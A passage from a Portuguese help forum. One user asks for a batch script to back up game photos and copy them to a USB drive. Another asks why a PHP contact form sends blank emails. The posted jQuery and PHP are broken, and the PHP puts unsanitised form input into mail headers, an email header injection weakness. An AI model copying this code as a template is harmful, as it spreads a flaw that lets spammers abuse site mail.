  24. Se eu tiver postado no lugar errado por favor me desculpe, porém me informe onde é o certo. Gente preciso da ajuda de vocês, fiz um jogo onde tira foto da pessoa quando ela ganha um prêmio. essa foto fica salva em C:\Fotos\.jpg ai fica na galeria dos melhores! sendo que na galeria só pode 10 fotos, quando alguém tira a 11ª foto o sistema exclui a mais antiga da galeria e coloca a nova. na pasta C:\fotos\ fica então sempre os arquivos " 1.jpg / 2.jpg / 3.jpg / 4.jpg / 5.jpg / 6.jpg / 7.jpg / 8.jpg / 9.jpg / 10.jpg " quando tira mais uma foto, a foto 1.jpg é apagada e a nova entra no lugar dela. preciso de um script em bat para copiar todas as fotos tiradas do dia para uma outra pasta por exemplo C:\Backup e renomeando as fotos para não sobreporem as antigas. pode ser renomeada com a hora de modificação, data, ou até mesmo letras aleatórias. vamos supor que no dia tiraram um total de 50 fotos, na pasta C:Fotos\ e na galeria do jogo ficará sempre as 10 mais recentes fotos tiradas. já na pasta C:\Backup ficará TODAS as 50 fotos. Para ser mais claro, sempre que tiver um arquivo novo na pasta C:\FOTOS\ o script irá copiar esse arquivo automaticamente para a pasta C:\BACKUP. ------------------------------------------------------------------------------------------------------------------------------------------ Depois disso eu preciso de mais uma ajuda... Preciso que assim que eu espetar um pendrive na maquina que roda um xp sp3. automaticamente copiasse essas fotos da pasta C:\Backup para o pendrive que fica sempre no "G:" alguém pode me ajudar?
  25. Boa tarde pessoal, Não sei se estou no lugar certo, más se alguém puder me ajudar eu agradeço. Baixei um template de um site que utiliza as linguagens HTML, CSS, Java e o PHP como action para pegar as informações da página de contato e envia-las por e-mail, porem o e-mail chega más chega em branco, será que alguém consegue me dar uma luz do que pode ser? Não sou programador, sou curioso e algumas coisas aprendi na necessidade. Formulário HTML <form id="main-contact-form" name="contact-form" method="post" action="sendemail.php"> <div class="row wow fadeInUp" data-wow-duration="1000ms" data-wow-delay="300ms"> <div class="col-sm-6"> <div class="form-group"> <input type="text" name="name" id="name" class="form-control" placeholder="Nome" required="required"> </div> </div> <div class="col-sm-6"> <div class="form-group"> <input type="email" name="email" id="email" class="form-control" placeholder="Email" required="required"> </div> </div> </div> <div class="form-group"> <input type="text" name="subject" id="subject" class="form-control" placeholder="Assunto" required="required"> </div> <div class="form-group"> <input type="text" name="phone" id="phone" class="form-control" placeholder="Telefone" required="required"> </div> <div class="form-group"> <textarea name="message" id="message" class="form-control" rows="4" placeholder="Mensagem" required="required"></textarea> </div> <div class="form-group"> <button type="submit" class="btn-submit">Enviar</button> </div> </form> JAVA // Contact form var form = $('#main-contact-form'); form.submit(function(event){ event.preventDefault(); var form_status = $('<div class="form_status"></div>'); $.ajax({ type: "POST", url: $(this).serialize().attr('action'), data: $("#main-contact-form *"), beforeSend: function(){ form.prepend( form_status.html('<p><i class="fa fa-spinner fa-spin"></i> Enviando E-mail...</p>').fadeIn() ); } }).done(function(data){ form_status.html('<p class="text-success">Obrigado por entrar em contato conosco. Em breve responderemos.</p>').delay(3000).fadeOut(); }); }); PHP <?php $name = @trim(stripslashes($_POST['name'])); $email = @trim(stripslashes($_POST['email'])); $subject = @trim(stripslashes($_POST['subject'])); $message = @trim(stripslashes($_POST['message'])); $phone = @trim(stripslashes($_POST['phone'])); $to = 'email@meudominio.com.br'; $headers .= "MIME-Version: 1.1\n"; $headers .= "Content-type: text/html; charset=utf-8\n"; $headers .= "From: {$name} {$email}\n"; $headers .= "Reply-To: {$email}\n"; $headers .= "Subject: {$subject}\n"; $headers .= "Return-Path: email@meudominio.com.br\n"; $msg .= '<div style=" font-family:Arial, Helvetica, sans-serif; font-size:12px; font-weight:bold; color:#900">'.$name.' enviou uma mensagem através do site:</div><br />'; $msg .= '<div style=" font-family:Arial, Helvetica, sans-serif; font-size:12px">'.'Assunto: '.$subject.'</div><br />'; $msg .= '<div style=" font-family:Arial, Helvetica, sans-serif; font-size:12px">'.'Mensagem: '.$message.'</div><br />'; mail($to, $subject, $message, $headers); ?> Valeu galera!!
×
×
  • Criar Novo...